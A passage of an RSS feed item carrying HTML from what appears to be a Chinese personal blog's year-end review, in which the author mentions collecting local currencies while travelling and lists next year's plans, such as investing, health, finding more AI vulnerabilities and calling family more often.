decoding="async"/></div></figure><div class="notion-text notion-block-3090f0c5b87c804fb727f76d7abffdb5">每到一个地方，都习惯收集当地的货币:</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3090f0c5b87c80e69f8bcd971430249f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:144px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A41e4dc4e-5b57-4a7a-a9ed-f7bda276c694%3Abcf1bee61e24b226cdd0ea3d0bc924b6.jpg?table=block&amp;id=3090f0c5-b87c-80e6-9f8b-cd971430249f&amp;t=3090f0c5-b87c-80e6-9f8b-cd971430249f" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-3090f0c5b87c80c6bf9ef5094adfeafa"> </div><div class="notion-blank notion-block-3090f0c5b87c80dbbf6cf3659555703e"> </div><div class="notion-text notion-block-3080f0c5b87c80ac8cadd15a4081bf46"><b>明年规划</b>：</div><div class="notion-text notion-block-3090f0c5b87c808e8909f66c3e27044d">1.更专注个人投资、学习、健康、认知、进步2.挖更多的AI漏洞</div><div class="notion-text notion-block-3090f0c5b87c8025a7cbc8f958bffd4e">2.多和家里人视频。</div><div class="notion-blank notion-block-3090f0c5b87c80c29161c67e9f67731c"> </div></main></div>]]></content:encoded>
        </item>
    </channel>
</rss>